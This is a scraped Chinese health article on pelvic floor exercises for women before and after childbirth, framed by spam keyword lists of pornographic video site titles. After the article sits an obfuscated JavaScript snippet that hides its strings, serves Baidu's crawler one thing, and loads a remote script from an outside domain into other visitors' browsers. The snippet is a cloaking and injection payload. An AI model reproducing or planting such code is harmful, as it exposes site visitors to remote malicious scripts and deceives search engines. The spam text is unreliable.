久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

如何鍛煉盆地肌肉呢

2017-04-16 14:00:45  來源:360常識網   熱度:
導語:生孩子的痛苦可能沒有經歷過的人是想象不出來的,根據澳洲某個研究機構的數(shù)據表明,生孩子的痛感相當于人體的三根肋骨同時被折斷。其實,只

生孩子的痛苦可能沒有經歷過的人是想象不出來的,根據澳洲某個研究機構的數(shù)據表明,生孩子的痛感相當于人體的三根肋骨同時被折斷。其實,只要平時注意鍛煉盆骨的肌肉,生產的時候痛感就會減輕很多,生完孩子后身材也更容易恢復,那么,如何鍛煉盆骨的肌肉呢?

一:臥式鍛煉

靠床沿仰臥,臀部放在床沿,雙腿挺直伸出懸空,不要著地。雙手把住床沿,以防滑下。雙腿合攏,慢慢向上舉起,向上身靠攏,雙膝伸直。當雙腿舉至身軀的上方時,雙手扶住雙腿,使之靠向腹部,雙膝保持伸直。然后,慢慢地放下,雙腿恢復原來姿勢。

二:立式鍛煉

站立,雙腿微分開,收縮兩半側臀部肌肉,使之相夾,形成大腿部靠攏,然后收縮肛門括約肌,使陰道往上提。經過長期的鍛煉,即可學會分清陰道和肛門括約肌舒縮,改善陰道松弛狀態(tài),提高陰道的收縮功能,藉以掌握夫妻同房時的收縮能力,使性生活和諧、美滿。

三;鍛煉盆骨的好處

做骨盆肌肉鍛煉,有助于鍛煉陰道、肛門括約肌及盆底肌肉的收縮力,產后可每天做二至三次,每次以十五分鐘為宜。具體做法:深吸氣,緊縮肛門十至十五秒,然后深呼氣,放松肛門,如此重復。

看完了上文的介紹,你知道應該如何鍛煉盆骨的肌肉了嗎?女性在月經期間子宮處在比較脆弱的狀態(tài),所以這個時候最好是暫停鍛煉,以免對身體健康造成影響,適當?shù)腻憻捙韫堑募∪鈱τ诟纳仆唇浺约捌渌麐D科疾病也是有好處的。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 在线视频 中文字幕 | 91在线视频在线观看 | 不卡一区| 免费一区二区三区视频在线 | 在线天堂av| 欧美日韩不卡 | 色综久久 | 日韩3p视频| 伊人精品视频在线观看 | 日韩成人免费视频 | 麻豆视频91 | 精品久久久久久久久久久久 | 欧美一区二区在线 | 国产一区二区三区免费观看 | 亚洲精品视频国产 | 日本成人黄色 | 青青草视频免费在线观看 | 在线观看国精产品二区1819 | 精品国产一区二区三区av小说 | 综合久久综合 | 久精品视频 | 日本一本在线 | 国产乱码精品一品二品 | 成人一二三区 | 亚洲最色视频 | 日韩一级精品视频在线观看 | 欧美成人精品h版在线观看 日韩激情影院 | 久久九 | 国产极品一区 | 久久精品免费观看 | 黄网站在线播放 | 51ⅴ精品国产91久久久久久 | 日本视频一区二区三区 | 欧美成人免费在线观看 | 亚洲国产精品成人综合色在线婷婷 | 日韩在线观看中文字幕 | 亚洲精品午夜电影 | 美日韩免费视频 | 国产99久久久国产精品 | 久久大| av三级在线观看 |